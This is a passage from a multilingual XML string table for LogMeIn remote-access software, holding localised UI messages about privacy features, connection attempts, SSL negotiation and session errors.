<en-gb>Attempting to reconnect</en-gb>
<hu>Kísérlet az újrakapcsolódásra</hu>
<pt-br>Tentando se reconectar</pt-br>
<nl>Probeert opnieuw verbinding te maken</nl>
</msg>
</cat>
</cat>
<cat name="PRIVACYWINDOW">
<cat name="COMMON">
<msg name="TITLE">
<en>LogMeIn</en>
<de>LogMeIn</de>
<es>LogMeIn</es>
<fr>LogMeIn</fr>
<it>LogMeIn</it>
<ru>LogMeIn</ru>
<ja>LogMeIn</ja>
<zh>LogMeIn</zh>
<ko>LogMeIn</ko>
<en-gb>LogMeIn</en-gb>
<hu>LogMeIn</hu>
<pt-br>LogMeIn</pt-br>
<nl>LogMeIn</nl>
</msg>
<msg name="CAPTION">
<en>Want more privacy?</en>
<de>Sie wünschen mehr Schutz vor ungewollten Blicken?</de>
<es>¿Busca más privacidad?</es>
<fr>Vous souhaitez renforcer la confidentialité ?</fr>
<it>Desideri maggiore privacy?</it>
<ru>Требуется большая конфиденциальность?</ru>
<ja>より強力なプライバシー保護が必要ですか?</ja>
<zh>希望有更多隐私?</zh>
<ko>더 많은 개인 정보 보호를 원하십니까?</ko>
<en-gb>Want more privacy?</en-gb>
<hu>Fokozott adatvédelem a táveléréshez</hu>
<pt-br>Quer mais privacidade?</pt-br>
<nl>Wilt u meer privacy?</nl>
</msg>
</cat>
<cat name="BLANKSCREEN">
<msg name="LEFTCOLUMNHEADER">
<en>Screen Blanking</en>
<de>Ausblenden des Bildschirms</de>
<es>Pantalla sin contenido</es>
<fr>Occultation de l'écran</fr>
<it>Cancellazione dello schermo</it>
<ru>Очистка экрана</ru>
<ja>画面の消去</ja>
<zh>屏幕消隐</zh>
<ko>화면 비우기</ko>
<en-gb>Screen Blanking</en-gb>
<hu>Képernyő elsötétítése</hu>
<pt-br>Tela em branco</pt-br>
<nl>Geen beeld</nl>
</msg>
<msg name="LEFTCOLUMNCONTENT">
<en>Automatically blacks out the screen \r\n of the computer you're accessing at \r\n the start of each remote session.</en>
<de>Blendet den Bildschirm des Computers, \r\n auf den Sie gerade zugreifen, automatisch \r\n zu Beginn jeder Fernzugriffssitzung aus.</de>
<es>Establece automáticamente en negro la \r\n pantalla del ordenador al que accede \r\n al comenzar cada sesión remota.</es>
<fr>Occulte automatiquement l'écran \r\n de l'ordinateur auquel vous accédez \r\n au démarrage de chaque session à distance.</fr>
<it>Cancella automaticamente il contenuto \r\n dello schermo del computer a cui stai \r\n accedendo all'avvio di ogni sessione remota.</it>
<ru>Эта функция автоматически убирает изображение\r\nс экрана компьютера, к которому вы осуществляете\r\nдоступ, в начале каждого сеанса удаленного доступа.</ru>
<ja>各リモート セッションの開始時に、\r\nアクセス中のコンピュータ画面を\r\n自動的に消去します。</ja>
<zh>在启动每个远程会话时,\r\n让正在访问的计算机\r\n的屏幕自动黑屏。</zh>
<ko>각 원격 세션을 시작할 때\r\n액세스하는 컴퓨터의 화면을\r\n자동으로 꺼지게 합니다.</ko>
<en-gb>Automatically blacks out the screen \r\n of the computer you're accessing at \r\n the start of each remote session.</en-gb>
<hu>A funkció minden távelérési munkamenet\r\nkezdetén automatikusan elsötétíti\r\na távoli gép képernyőjét.</hu>
<pt-br>Limpa automaticamente a tela \r\n do computador que você está acessando \r\n no início de cada sessão remota.</pt-br>
<nl>U kunt instellen dat aan het begin van \r\n een sessie op afstand het beeld van de \r\n andere computer wordt uitgeschakeld.</nl>
</msg>
<msg name="TIP">
<en>To modify this feature please navigate to the remote control toolbar.</en>
<de>Navigieren Sie zum Ändern dieser Funktion zur Symbolleiste „Fernsteuerung“.</de>
<es>Para modificar este ajuste, diríjase a la barra de herramientas de control remoto.</es>
<fr>Pour modifier cette fonctionnalité, naviguez jusqu'à la barre d'outils de contrôle à distance.</fr>
<it>Per modificare questa impostazione, vai alla barra degli strumenti del controllo remoto.</it>
<ru>Эту настройку можно изменить в панели инструментов удаленного управления.</ru>
<ja>この機能の変更は、リモート制御ツールバーで行ってください。</ja>
<zh>要修改此功能,请导航到远程控制工具栏。</zh>
<ko>이 기능을 변경하려면 원격 제어 툴바로 이동하십시오.</ko>
<en-gb>To modify this feature please navigate to the remote control toolbar.</en-gb>
<hu>A beállítást a távvezérlési eszköztáron módosíthatja.</hu>
<pt-br>Para modificar esse recurso, navegue até a barra de ferramentas Controle remoto.</pt-br>
<nl>Ga naar de werkbalk Externe besturing om deze functie aan te passen.</nl>
</msg>
<msg name="BUTTONTEXT">
<en>Continue</en>
<de>Fortfahren</de>
<es>Continuar</es>
<fr>Continuer</fr>
<it>Continua</it>
<ru>Продолжить</ru>
<ja>続行</ja>
<zh>继续</zh>
<ko>계속</ko>
<en-gb>Continue</en-gb>
<hu>Folytatás</hu>
<pt-br>Continuar</pt-br>
<nl>Doorgaan</nl>
</msg>
</cat>
<cat name="LOCKHOST">
<msg name="LEFTCOLUMNHEADER">
<en>Host Locking</en>
<de>Sperren des Hostcomputers</de>
<es>Bloqueo del host</es>
<fr>Verrouillage de l'hôte</fr>
<it>Blocco dell'host</it>
<ru>Блокировка хоста</ru>
<ja>ホスト コンピュータのロック</ja>
<zh>主机锁定</zh>
<ko>호스트 잠금</ko>
<en-gb>Host Locking</en-gb>
<hu>Gazdagép zárolása</hu>
<pt-br>Bloqueio do host</pt-br>
<nl>Host vergrendelen</nl>
</msg>
<msg name="LEFTCOLUMNCONTENT">
<en>Automatically locks the computer \r\n you're accessing at the end of each \r\n remote session.</en>
<de>Sperrt den Computer, auf den Sie \r\n gerade zugreifen, automatisch \r\n am Ende jeder Fernzugriffssitzung.</de>
<es>Bloquea automáticamente el ordenador \r\n a la que accede al finalizar cada \r\n sesión remota.</es>
<fr>Verrouille automatiquement l'ordinateur \r\n auquel vous accédez à la fin de chaque \r\n session à distance.</fr>
<it>Blocca automaticamente il computer \r\n a cui stai accedendo alla fine di ogni \r\n sessione remota.</it>
<ru>Эта функция автоматически блокирует компьютер, \r\nк которому вы осуществляете доступ, по окончании \r\nкаждого сеанса удаленного доступа.</ru>
<ja>各リモート セッションの終了時に、\r\nアクセス中のコンピュータを\r\n自動的にロックします。</ja>
<zh>在每个远程会话结束时,\r\n自动锁定正在访问的\r\n计算机。</zh>
<ko>각 원격 세션을 종료할 때\r\n액세스하는 컴퓨터를\r\n자동으로 잠급니다.</ko>
<en-gb>Automatically locks the computer \r\n you're accessing at the end of each \r\n remote session.</en-gb>
<hu>A funkció minden távelérési munkamenet\r\nbefejeztével automatikusan zárolja\r\na távoli gépet.</hu>
<pt-br>Bloqueia automaticamente o computador \r\n que você está acessando ao final \r\n de cada sessão remota.</pt-br>
<nl>U kunt instellen dat aan het einde van \r\n een sessie op afstand de andere computer \r\n automatisch wordt vergrendeld.</nl>
</msg>
<msg name="TIP">
<en>To modify this later please go to LogMeIn Control Panel &gt; Options &gt; Preferences.</en>
<de>Wenn Sie dies später ändern möchten, wechseln Sie zu "LogMeIn-Hostoberfläche" &gt; "Optionen" &gt; "Einstellungen".</de>
<es>Para modificar este ajuste más adelante, diríjase al Panel de control de LogMeIn &gt; Opciones &gt; Preferencias.</es>
<fr>Pour la modifier plus tard, allez dans Panneau de contrôle LogMeIn &gt; Options &gt; Préférences.</fr>
<it>Per modificare questa impostazione in un secondo momento, vai a Pannello di controllo LogMeIn &gt; Opzioni &gt; Preferenze.</it>
<ru>Впоследствии эту настройку можно изменить на странице: «Панель управления LogMeIn» &gt; «Параметры» &gt; «Параметры».</ru>
<ja>後で変更する場合は、[LogMeIn コントロール パネル] &gt; [オプション] &gt; [設定] から行えます。</ja>
<zh>要在稍后修改此功能,请前往 LogMeIn 控制面板 &gt; 选项 &gt; 首选项。</zh>
<ko>팁: 이후에 LogMeIn 제어판 &gt; 옵션 &gt; 기본 설정에서 변경할 수 있습니다.</ko>
<en-gb>To modify this later please go to LogMeIn Control Panel &gt; Options &gt; Preferences.</en-gb>
<hu>A későbbiekben itt módosíthatja a beállítást: LogMeIn Vezérlőpult &gt; Lehetőségek &gt; Beállítások.</hu>
<pt-br>Para modificar depois, acesse Painel de controle do LogMeIn &gt; Opções &gt; Preferências.</pt-br>
<nl>Als u deze functie later aan wilt passen, ga dan naar het Configuratiescherm van LogMeIn &gt; Opties &gt; Voorkeursinstellingen.</nl>
</msg>
<msg name="BUTTONTEXT">
<en>End Session</en>
<de>Sitzung beenden</de>
<es>Finalizar sesión</es>
<fr>Mettre fin à la session</fr>
<it>Termina sessione</it>
<ru>Завершить сеанс</ru>
<ja>セッションの終了</ja>
<zh>结束会话</zh>
<ko>세션 종료</ko>
<en-gb>End Session</en-gb>
<hu>Munkamenet befejezése</hu>
<pt-br>Finalizar sessão</pt-br>
<nl>Sessie beëindigen</nl>
</msg>
</cat>
</cat>
</cat>
<!-- common applet messages -->
<cat name="APPLET">
<msg name="OLDMSGSWARNING1">
<en>WARNING! You are connecting to an older version of %PRODUCTNAME.</en>
<de>WARNUNG! Sie stellen eine Verbindung zu einer älteren Version von %PRODUCTNAME her.</de>
<es>¡AVISO! Está conectándose a una versión anterior de %PRODUCTNAME.</es>
<fr>AVERTISSEMENT ! Vous vous connecté à une ancienne version de %PRODUCTNAME.</fr>
<it>AVVISO! Si sta effettuando la connessione a una versione precedente di %PRODUCTNAME.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Выполняется подключение к более старой версии %PRODUCTNAME.</ru>
<ja>警告!%PRODUCTNAME の古いバージョンに接続しています。</ja>
<zh>警告!您正连接至旧版本的 %PRODUCTNAME。</zh>
<ko>경고! %PRODUCTNAME의 이전 버전에 연결하고 있습니다.</ko>
<en-gb>WARNING! You are connecting to an older version of %PRODUCTNAME.</en-gb>
<hu>FIGYELEM! Ön a %PRODUCTNAME egy régebbi verziójához csatlakozik.</hu>
<pt-br>AVISO! Você está conectado usando uma versão mais antiga do %PRODUCTNAME.</pt-br>
<nl>WAARSCHUWING! U maakt een verbinding met een oudere versie van %PRODUCTNAME.</nl>
</msg>
<msg name="OLDMSGSWARNING2">
<en>Some messages may not appear properly.</en>
<de>Einige Meldungen werden möglicherweise nicht richtig angezeigt.</de>
<es>Algunos mensajes podrían no mostrarse adecuadamente.</es>
<fr>Certains messages peuvent ne pas s'afficher correctement.</fr>
<it>Alcuni messaggi potrebbero non essere visualizzati correttamente.</it>
<ru>Некоторые сообщения могут отображаться неправильно.</ru>
<ja>メッセージが正しく表示されない場合があります。</ja>
<zh>某些信息可能不会正确显示。</zh>
<ko>일부 메시지가 올바르게 나타나지 않습니다.</ko>
<en-gb>Some messages may not appear properly.</en-gb>
<hu>Egyes üzenetek esetleg nem jelennek meg megfelelően.</hu>
<pt-br>Algumas mensagens podem não ser exibidas adequadamente.</pt-br>
<nl>Bepaalde berichten zullen mogelijk niet correct worden weergegeven.</nl>
</msg>
<msg name="CONNECTING">
<en>Connecting...</en>
<de>Verbinden ...</de>
<es>Conectando...</es>
<fr>En connexion..</fr>
<it>Connessione...</it>
<ru>Подключение...</ru>
<ja>接続しています...</ja>
<zh>正在连接...</zh>
<ko>연결 중...</ko>
<en-gb>Connecting...</en-gb>
<hu>Csatlakoztatás...</hu>
<pt-br>Conectando...</pt-br>
<nl>Bezig met verbinden...</nl>
</msg>
<msg name="ESCTOCANCEL">
<en>Press ESC to cancel.</en>
<de>Drücken Sie ESC zum Abbrechen</de>
<es>Pulse Esc para cancelar.</es>
<fr>Pressez ESC (ECHAP) pour annuler</fr>
<it>Premere ESC per annullare.</it>
<ru>Нажмите клавишу ESC, чтобы отключить.</ru>
<ja>取り消すには、ESC キーを押してください。</ja>
<zh>按 ESC 键取消。</zh>
<ko>취소하려면 ESC 키를 누릅니다.</ko>
<en-gb>Press ESC to cancel.</en-gb>
<hu>Nyomja le az ESC billentyűt a megszakításhoz.</hu>
<pt-br>Pressione Esc para cancelar.</pt-br>
<nl>Druk op de Esc-toets om te annuleren.</nl>
</msg>
<msg name="CONNECTED">
<en>Connected.</en>
<de>Verbunden.</de>
<es>Conectado.</es>
<fr>Connecté.</fr>
<it>Connesso.</it>
<ru>Подключен.</ru>
<ja>接続されました。</ja>
<zh>已连接。</zh>
<ko>연결됨.</ko>
<en-gb>Connected.</en-gb>
<hu>Csatlakoztatva.</hu>
<pt-br>Conectado.</pt-br>
<nl>Verbonden.</nl>
</msg>
<msg name="TRYINGNATUDP">
<en>Trying to connect directly...</en>
<de>Direkte Verbindung herstellen ...</de>
<es>Intentando conectar directamente...</es>
<fr>Tente de seconnecter directement...</fr>
<it>Tentativo di connessione diretta...</it>
<ru>Попытка прямого подключения...</ru>
<ja>直接接続をしようとしています...</ja>
<zh>尝试直接连接...</zh>
<ko>직접 연결을 시도하는 중...</ko>
<en-gb>Trying to connect directly...</en-gb>
<hu>Kísérlet a közvetlen kapcsolatra...</hu>
<pt-br>Tentando conectar diretamente...</pt-br>
<nl>Er wordt geprobeerd rechtstreeks een verbinding te maken...</nl>
</msg>
<msg name="NATUDPFAILED">
<en>Failed to connect directly.</en>
<de>Direkte Verbindung fehlgeschlagen.</de>
<es>Error al conectar directamente.</es>
<fr>Ne s'est pas connecté directement.</fr>
<it>Connessione diretta non riuscita.</it>
<ru>Не удалось подключиться напрямую.</ru>
<ja>直接接続に失敗しました。</ja>
<zh>直接连接失败。</zh>
<ko>직접 연결하지 못했습니다.</ko>
<en-gb>Failed to connect directly.</en-gb>
<hu>A közvetlen kapcsolat nem sikerült.</hu>
<pt-br>Falha ao conectar diretamente.</pt-br>
<nl>Kan geen rechtstreekse verbinding maken.</nl>
</msg>
<msg name="TRYINGWEBSVC">
<en>Trying to connect through %WEBSVC.NAME web gateway service...</en>
<de>Verbindung über %WEBSVC.NAME Web Gateway Service herstellen ...</de>
<es>Intentando conectar a través de servicio gateway de la web %WEBSVC.NAME...</es>
<fr>Tente de se connecter par le service de passerelle web de %WEBSVC.NAME...</fr>
<it>Tentativo di connessione tramite il servizio gateway Web %WEBSVC.NAME...</it>
<ru>Попытка подключения через службу веб-шлюзов %WEBSVC.NAME...</ru>
<ja>%WEBSVC.NAME Web ゲートウェイ サービスにより接続しようとしています...</ja>
<zh>尝试通过 %WEBSVC.NAME Web 网关服务连接...</zh>
<ko>%WEBSVC.NAME 웹 게이트웨이 서비스를 통해 연결을 시도하는 중...</ko>
<en-gb>Trying to connect through %WEBSVC.NAME web gateway service...</en-gb>
<hu>Kísérlet a %WEBSVC.NAME webátjáró szolgáltatáson keresztüli kapcsolatra...</hu>
<pt-br>Tentando conectar por meio do serviço de gateways da web %WEBSVC.NAME...</pt-br>
<nl>Er wordt geprobeerd een verbinding te maken via de webgatewayservice van %WEBSVC.NAME ...</nl>
</msg>
<msg name="TRYINGTUNNEL">
<en>Trying to connect through HTTP tunnel...</en>
<de>Verbindung über HTTP Tunnel herstellen ....</de>
<es>Intentando conectar a través del túnel HTTP...</es>
<fr>Tente de se connecter par le tunnel HTTP...</fr>
<it>Tentativo di connessione tramite tunnel HTTP...</it>
<ru>Попытка подключения через HTTP-туннель...</ru>
<ja>HTTP トンネルにより接続しようとしています...</ja>
<zh>尝试通过 HTTP 隧道连接...</zh>
<ko>HTTP 터널을 통해 연결을 시도하는 중...</ko>
<en-gb>Trying to connect through HTTP tunnel...</en-gb>
<hu>Kísérlet a HTTP alagúton keresztüli csatlakoztatásra...</hu>
<pt-br>Tentando conectar pelo encapsulamento http...</pt-br>
<nl>Er wordt geprobeerd een verbinding te maken via een HTTP-tunnel...</nl>
</msg>
<msg name="TRYINGTUNNELFAIL">
<en>Failed to connect socket, trying to connect through HTTP tunnel...</en>
<de>Socket-Verbindungsfehler beim Versuch über HTTP Tunnel zu verbinden ...</de>
<es>Error al conectar socket, intentando conectar a través del túnel HTTP...</es>
<fr>Echec de connexion par le socket, tente de se connecter par le tunnel HTTP...</fr>
<it>Connessione socket non riuscita, tentativo di connessione tramite tunnel HTTP...</it>
<ru>Не удалось подключить сокет, предпринимается попытка подключения через HTTP-туннель...</ru>
<ja>ソケットの接続に失敗しました。HTTP トンネルにより接続しようとしています...</ja>
<zh>连接插座失败,尝试通过 HTTP 隧道连接...</zh>
<ko>소켓 연결 실패, HTTP 터널을 통해 연결을 시도하는 중...</ko>
<en-gb>Failed to connect socket, trying to connect through HTTP tunnel...</en-gb>
<hu>Nem sikerült a szoftvercsatorna csatlakoztatása, kísérlet a HTTP alagúton keresztüli csatlakoztatásra...</hu>
<pt-br>Falha ao conectar o soquete, tentando conectar pelo encapsulamento http...</pt-br>
<nl>Kan geen verbinding met socket maken, er wordt geprobeerd een verbinding te maken via een HTTP-tunnel...</nl>
</msg>
<msg name="TUNNELCONNECTED">
<en>HTTP tunnel connected.</en>
<de>HTTP Tunnel verbunden.</de>
<es>Túnel HTTP conectado.</es>
<fr>Tunnel HTTP connecté.</fr>
<it>Connessione tunnel HTTP riuscita.</it>
<ru>HTTP-туннель подключен.</ru>
<ja>HTTP トンネルは接続されました。</ja>
<zh>HTTP 隧道已连接。</zh>
<ko>HTTP 터널 연결됨.</ko>
<en-gb>HTTP tunnel connected.</en-gb>
<hu>A HTTP alagút csatlakoztatva.</hu>
<pt-br>Encapsulamento http conectado.</pt-br>
<nl>Verbonden via HTTP-tunnel.</nl>
</msg>
<msg name="WARNENCRYPT">
<en>WARNING! Using unencrypted connection! WARNING!</en>
<de>WARNUNG! Sie benutzen eine unverschlüsselte Verbindung! WARNUNG!</de>
<es>¡AVISO! Está utilizando una conexión no cifrada. ¡AVISO!</es>
<fr>AVERTISSEMENT ! Utilisation d'une connexion non sécurisée! AVERTISSEMENT !</fr>
<it>AVVISO! Si sta utilizzando una connessione non crittografata! AVVISO!</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Используется незашифрованное соединение! ПРЕДУПРЕЖДЕНИЕ!</ru>
<ja>警告!非暗号化接続を使用しています。警告!</ja>
<zh>警告!使用的连接未加密!警告!</zh>
<ko>경고! 암호화되지 않은 연결을 사용 중입니다! 경고!</ko>
<en-gb>WARNING! Using unencrypted connection! WARNING!</en-gb>
<hu>FIGYELEM! Titkosítatlan kapcsolat használata! FIGYELEM!</hu>
<pt-br>AVISO! Usando conexão criptografada! AVISO!</pt-br>
<nl>WAARSCHUWING! U gebruikt een niet-gecodeerde verbinding! WAARSCHUWING!</nl>
</msg>
<msg name="CONNECTFAILED">
<en>Connection failed.</en>
<de>Verbindung nicht möglich.</de>
<es>Error al conectarse.</es>
<fr>Echec de connexion.</fr>
<it>Connessione non riuscita.</it>
<ru>Сбой подключения.</ru>
<ja>接続に失敗しました。</ja>
<zh>连接失败。</zh>
<ko>연결 실패.</ko>
<en-gb>Connection failed.</en-gb>
<hu>A csatlakoztatás sikertelen volt.</hu>
<pt-br>Falha na conexão.</pt-br>
<nl>Verbinding maken is mislukt.</nl>
</msg>
<msg name="SSLCONNECTING">
<en>Negotiating SSL...</en>
<de>SSL aushandeln ....</de>
<es>Negociando SSL...</es>
<fr>Négociation SSL</fr>
<it>Negoziazione SSL...</it>
<ru>Согласование SSL...</ru>
<ja>SSL ネゴシエーションをしています...</ja>
<zh>正在协商 SSL...</zh>
<ko>SSL 협상 중...</ko>
<en-gb>Negotiating SSL...</en-gb>
<hu>SSL egyeztetés...</hu>
<pt-br>Negociando SSL...</pt-br>
<nl>Bezig met onderhandelen voor SSL...</nl>
</msg>
<msg name="SSLCONNECTED">
<en>SSL connected and negotiated the following cipher:</en>
<de>SSL verbunden und folgenden Cipher ausgehandelt:</de>
<es>SSL conectado y negociado el siguiente cifrado:</es>
<fr>SSL connecté et a négocié le chiffre suivant :</fr>
<it>Connessione SSL riuscita e negoziazione della seguente crittografia:</it>
<ru>SSL подключил и согласовал следующий шифр:</ru>
<ja>SSL は接続され、次の暗号のネゴシエーションを実行しました :</ja>
<zh>SSL 已连接和协商以下密码:</zh>
<ko>SSL 연결, 다음 암호 협상:</ko>
<en-gb>SSL connected and negotiated the following cipher:</en-gb>
<hu>Az SSL csatlakoztatva és a következő titkosítás egyeztetve:</hu>
<pt-br>SSL conectado e negociada a seguinte cifra:</pt-br>
<nl>Verbonden met SSL en de volgende codeersleutel werd onderhandeld:</nl>
</msg>
<msg name="SSLVERIFIED">
<en>Host SSL certificate verified.</en>
<de>SSL Zertifikat des Host überprüft.</de>
<es>Se ha verificado el certificado SSL del host.</es>
<fr>Le certificat  SSL de l'hôte distant est vérifié.</fr>
<it>Certificato SSL host verificato.</it>
<ru>SSL-сертификат хост-компьютера проверен.</ru>
<ja>ホスト SSL 証明書は検証されました。</ja>
<zh>已验证主机 SSL 证书。</zh>
<ko>호스트 SSL 인증서가 확인되었습니다.</ko>
<en-gb>Host SSL certificate verified.</en-gb>
<hu>A gazdagép SSL tanúsítványa ellenőrizve.</hu>
<pt-br>Certificado host verificado.</pt-br>
<nl>Het SSL-certificaat van de hostcomputer is geverifieerd.</nl>
</msg>
<msg name="SSLISSUER">
<en>Issuer: </en>
<de>Aussteller:</de>
<es>Publicado por:</es>
<fr>Émetteur :</fr>
<it>Ente di emissione:</it>
<ru>Поставщик:</ru>
<ja>発行元 :</ja>
<zh>颁发者:</zh>
<ko>발급자:</ko>
<en-gb>Issuer:</en-gb>
<hu>Kiadó:</hu>
<pt-br>Emissor:</pt-br>
<nl>Verlener:</nl>
</msg>
<msg name="SSLSUBJECT">
<en>Subject: </en>
<de>Betreff:</de>
<es>Asunto:</es>
<fr>Objet :</fr>
<it>Oggetto:</it>
<ru>Тема:</ru>
<ja>件名 :</ja>
<zh>主题:</zh>
<ko>제목:</ko>
<en-gb>Subject:</en-gb>
<hu>Tárgy:</hu>
<pt-br>Assunto:</pt-br>
<nl>Onderwerp:</nl>
</msg>
<msg name="SSLERROR">
<en>Error negotiating SSL connection.</en>
<de>Fehler beim Aushandeln der SSL Verbindung.</de>
<es>Error al negociar la conexión SSL.</es>
<fr>Erreur de négociation de la connexion SSL.</fr>
<it>Errore di negoziazione della connessione SSL.</it>
<ru>Ошибка согласования SSL-подключения.</ru>
<ja>SSL 接続のネゴシエーションに失敗しました。</ja>
<zh>协商 SSL 连接时出现错误。</zh>
<ko>SSL 연결 협상 오류.</ko>
<en-gb>Error negotiating SSL connection.</en-gb>
<hu>Hiba az SSL kapcsolat egyeztetése során.</hu>
<pt-br>Erro ao negociar a conexão SSL.</pt-br>
<nl>Fout tijdens onderhandelen voor SSL-verbinding.</nl>
</msg>
<msg name="SSLCERTERROR">
<en>The certificates received do not match our certificate store.</en>
<de>Das empfangene Zertifikat ist in unserem Zertifikatsverzeichnis nicht eingetragen.</de>
<es>El certificado recibido no se ajusta a nuestros certificados.</es>
<fr>Les certificats reçus ne correspondent pas à  notre base de données de certificats locale.</fr>
<it>I certificati ricevuti non corrispondono all'archivio certificati in uso.</it>
<ru>Полученные сертификаты не соответствуют нашему хранилищу сертификатов.</ru>
<ja>受信した証明書は、証明書ストアと一致しません。</ja>
<zh>收到的证书与我们的证书库不匹配。</zh>
<ko>수신된 인증서가 인증서 저장소와 일치하지 않습니다.</ko>
<en-gb>The certificates received do not match our certificate store.</en-gb>
<hu>A kapott tanúsítványok nem egyeznek a mi tanúsítványtárolónkkal.</hu>
<pt-br>Os certificados recebidos não correspondem aos armazenados.</pt-br>
<nl>De ontvangen certificaten komen niet overeen met de items in ons certificaatarchief.</nl>
</msg>
<msg name="SSLMITMDETECT">
<en>A possible man-in-the-middle attack detected, connection abandoned.</en>
<de>Ein möglicher "man-in-the-middle" Angriff wurde erkannt. Die Verbindung
wurde aus Sicherheitsgründen sofort unterbrochen.</de>
<es>Se ha detectado una posible intrusión, conexión abortada.</es>
<fr>Une possible attaque man-in-the-middle est détectée, connexion terminée.</fr>
<it>Rilevato un possibile attacco di tipo 'man in the middle', connessione interrotta.</it>
<ru>Возможно, обнаружена атака "злоумышленник в середине", соединение разорвано.</ru>
<ja>介入者攻撃の可能性が検出されました。接続を中止します。</ja>
<zh>检测到可能有中间人攻击,系统已放弃连接。</zh>
<ko>man-in-the-middle 공격의 가능성이 감지되어 연결 시도를 중단했습니다.</ko>
<en-gb>A possible man-in-the-middle attack detected, connection abandoned.</en-gb>
<hu>Egy lehetséges közbeékelődési támadás észlelve, kapcsolat megszakítva.</hu>
<pt-br>Foi detectado um possível ataque homem-pelo-meio, conexão abandonada.</pt-br>
<nl>Mogelijk werd een aanval door een tussenpersoon gedetecteerd, de verbindingspoging is afgebroken.</nl>
</msg>
<msg name="AUTHENTICATING">
<en>Authenticating...</en>
<de>Authentifizieren.....</de>
<es>Autenticando...</es>
<fr>Authentification...</fr>
<it>Autenticazione...</it>
<ru>Выполняется проверка подлинности...</ru>
<ja>認証しています...</ja>
<zh>正在验证...</zh>
<ko>인증하는 중...</ko>
<en-gb>Authenticating...</en-gb>
<hu>Hitelesítés...</hu>
<pt-br>Autenticando...</pt-br>
<nl>Bezig met verifiëren...</nl>
</msg>
<msg name="UNDECIPHERABLE">
<en>Undecipherable data received.</en>
<de>Undechiffrierbare Daten empfangen.</de>
<es>Se ha recibido información no cifrada.</es>
<fr>Données indéchiffrables reçues.</fr>
<it>Ricevuti dati indecifrabili.</it>
<ru>Получены не поддающийся расшифровке данные.</ru>
<ja>解読できないデータを受信しました。</ja>
<zh>收到的数据无法辨认。</zh>
<ko>해독되지 않는 데이터가 수신되었습니다.</ko>
<en-gb>Undecipherable data received.</en-gb>
<hu>Értelmezhetetlen adatok érkeztek.</hu>
<pt-br>Dados indecifráveis recebidos.</pt-br>
<nl>Niet decodeerbare gegevens ontvangen.</nl>
</msg>
<msg name="INVALIDSESSIONID">
<!-- do not replace FAIL\n in localized versions -->
<en>FAIL\n
The session identifier is invalid.\n\n
</en>
<de>FAIL\n
Die Sitzungskennung ist ungültig.\n\n</de>
<es>FAIL\n
El identificador de sesión no es válido.\n\n</es>
<fr>FAIL\n
L'identification de la session est non valide.\n\n</fr>
<it>FAIL\n
L'identificatore di sessione non è valido.\n\n</it>
<ru>FAIL\n
Недопустимый идентификатор сеанса.\n\n</ru>
<ja>FAIL\n セッション ID が無効です。\n\n</ja>
<zh>FAIL\n
会话标识符无效。\n\n</zh>
<ko>FAIL\n
세션 식별자가 올바르지 않습니다.\n\n</ko>
<en-gb>FAIL\n
The session identifier is invalid.\n\n</en-gb>
<hu>FAIL\n
A munkamenet azonosítója érvénytelen.\n\n</hu>
<pt-br>FAIL\n
O identificador da sessão é inválido.\n\n</pt-br>
<nl>FAIL\n De identificatiecode van de sessie is ongeldig.\n\n</nl>
</msg>
<msg name="AUTHENTICATED">
<en>Connect successful.</en>
<de>Erfolgreich verbunden.</de>
<es>Se ha conectado correctamente.</es>
<fr>Connecté avec succès.</fr>
<it>Connessione riuscita.</it>
<ru>Подключение выполнено успешно.</ru>
<ja>接続に成功しました。</ja>
<zh>连接成功。</zh>
<ko>연결했습니다.</ko>
<en-gb>Connection successful.</en-gb>
<hu>Sikeres csatlakoztatás.</hu>
<pt-br>Conexão bem-sucedida.</pt-br>
<nl>Verbinding maken is gelukt.</nl>
</msg>
<msg name="CONNREFUSED">
<en>Connection refused.</en>
<de>Verbindung abgelehnt.</de>
<es>Conexión rechazada.</es>
<fr>Connexion refusée.</fr>
<it>Connessione rifiutata.</it>
<ru>В подключении отказано.</ru>
<ja>接続は拒否されました。</ja>
<zh>连接被拒绝。</zh>
<ko>연결이 거부되었습니다.</ko>
<en-gb>Connection refused.</en-gb>
<hu>A csatlakoztatás visszautasítva.</hu>
<pt-br>Conexão recusada.</pt-br>
<nl>Verbinding maken is geweigerd.</nl>
</msg>
<msg name="DISCONNECTED">
<en>Disconnected.</en>
<de>Getrennt.</de>
<es>Desconectado.</es>
<fr>Déconnecté.</fr>
<it>Disconnesso.</it>
<ru>Отключен.</ru>
<ja>切断されました。</ja>
<zh>已断开连接。</zh>
<ko>연결이 해제되었습니다.</ko>
<en-gb>Disconnected.</en-gb>
<hu>Kapcsolat megszakítva.</hu>
<pt-br>Desconectado.</pt-br>
<nl>Verbinding is verbroken.</nl>
</msg>
<msg name="NOJAVA">
<en>Your browser does not have Java or ActiveX support or it is disabled. If you're using Internet Explorer on
Windows you can enable ActiveX if your system administrator has permitted it. Otherwise follow the link below to 
download and install a Java runtime environment then close and re-open this browser window.</en>
<es>Su navegador no tiene instalado ningún soporte Java o ActiveX o está deshabilitado. Si está utilizando Internet Explorer en
Windows puede habilitar ActiveX si se lo permite el administrador del sistema. En caso contrario, haga clic en el siguiente vínculo para 
descargar e instalar Java Runtime Environment; a continuación, cierre y abra de nuevo esta ventana del navegador.</es>
<fr>Votre navigateur n'a pas d'interprêteur Java installé ou est désactivé. Veuillez cliquer sur le lien ci-dessous pour télécharger et installer l'environnement Java runtime.</fr>
<de>Bei Ihrem Browser ist Java oder ActiveX deaktiviert oder wird nicht unterstützt. Wenn Sie Internet Explorer unter Windows verwenden, können Sie ActiveX aktivieren, sofern diese Option von Ihrem Systemadministrator freigegeben wurde. Klicken Sie andernfalls auf den nachstehenden Hyperlink, um eine Java-Laufzeitumgebung zu downloaden und zu installieren. Sie müssen anschließend dieses Browserfenster schließen und erneut öffnen.</de>
<it>Il browser non dispone del supporto Java o ActiveX o è disattivato. Se si utilizza Internet Explorer in Windows, è possibile attivare ActiveX se l'amministratore di sistema ha fornito l'autorizzazione. In caso contrario, scegliere il collegamento sottostante per effettuare il download e installare un ambiente di runtime Java, quindi chiudere e riaprire la finestra del browser.</it>
<ru>Обозреватель не поддерживает Java или ActiveX или она подключена. При использовании Internet Explorer в Windows поддержку ActiveX можно включить, если это разрешено системным администратором. В противном случае следуйте представленной ниже ссылке, чтобы загрузить и установить среду выполнения Java, а затем закройте и снова откройте окно обозревателя.</ru>
